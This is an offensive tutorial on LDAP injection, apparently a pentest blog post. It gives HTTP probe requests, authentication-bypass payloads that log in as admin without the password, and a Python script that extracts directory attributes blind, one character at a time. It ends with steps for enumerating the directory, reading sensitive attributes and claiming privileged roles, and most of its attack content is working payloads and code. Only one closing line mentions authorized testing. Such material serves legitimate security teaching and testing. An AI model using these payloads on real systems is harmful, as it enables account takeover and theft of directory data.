LDAP Injection: Bending Directory Filters to Your Will
Unescaped input in an LDAP search filter lets an attacker rewrite the query, bypass authentication, and enumerate the directory. We cover filter-syntax probes and a working bypass PoC.
LDAP injection is the directory-service cousin of SQL injection: an application builds an LDAP search filter by concatenating user input, and the special characters of filter syntax — parentheses, *, &, | — let you rewrite the query. Against a login that checks the directory, that means authenticating as someone else or as everyone.
Where it hides
LDAP sits behind enterprise authentication and lookup features, so the input usually flows into a (&(uid=INPUT)(...))-style filter:
- Corporate/SSO login forms that bind against Active Directory or OpenLDAP.
- "Find a colleague" / address-book and people-search features.
- Group-membership and role checks performed via directory queries.
- Self-service account lookups (password reset by username/email).
The filter metacharacters to probe: ( ) * & | ! = and the NUL byte. A wildcard is the fastest tell — submit * where a username goes and watch for it matching everything:
POST /login HTTP/1.1
Host: corp.example.com
Content-Type: application/x-www-form-urlencoded
username=*&password=*
If this returns a result (or logs you in), the * was interpolated raw into the filter as a wildcard. An unbalanced parenthesis is the other classic probe — sending ) or *)( often throws an LDAP error or a 500, confirming your input reaches the filter syntax:
username=admin)(|(uid=*
A malformed-filter error in the response, or any change in match behavior, confirms injection. Manual crafting in Burp Repeater is usually enough; the filter grammar is small.
Reproducing it
The authentication-bypass repro rewrites the filter so the password condition disappears or always passes. A common server-side filter looks like (&(uid=INPUT)(userPassword=INPUT)). Inject a comment-like wildcard that satisfies both:
POST /login HTTP/1.1
Host: corp.example.com
Content-Type: application/x-www-form-urlencoded
username=admin)(&)&password=anything
If the app constructs the filter naively, your input turns it into (&(uid=admin)(&))(userPassword=...), where (&) is the LDAP "absolute true" filter — the bind matches admin regardless of the password. A successful authenticated session as admin is the proof.
Where the app wraps everything in an outer (&...), use a wildcard on the username to match the first account and neutralize the password check with a second wildcard:
username=*)(uid=*))(|(uid=*
password=*
For blind data extraction, LDAP supports a boolean oracle through wildcard prefixing — ask whether an attribute starts with a given character and watch whether a result returns:
import requests, string
URL = "https://corp.example.com/people/search"
known = ""
for _ in range(20):
for c in string.ascii_lowercase + string.digits:
# filter becomes (&(cn=admin)(description=known+c*))
r = requests.get(URL, params={"q": f"admin)(description={known}{c}*"})
if "result" in r.text: # a match means the prefix is correct
known += c
print(known)
break
else:
break
Each "did a record come back?" answer leaks one character of an attribute you should not be able to read.
Going further
Beyond login, the same injection enumerates and exfiltrates directory contents:
- Replace a narrow filter with
(objectClass=*)to list every entry the bind account can see. - Inject additional clauses to read sensitive attributes (
memberOf,description,mail, password-related fields). - Abuse group-membership filters to assert a privileged role you do not hold.
A practical recon habit is to drop a lone * and a lone ) into every field that smells like a username or directory lookup and watch for either an everything-matches result or a filter-syntax error — both pinpoint an unescaped LDAP sink. Capture the injecting request, the rewritten filter behavior (the always-true bind or the wildcard match), and one concrete result such as a session as another user or a leaked attribute. Restrict testing to authorized targets and accounts you control.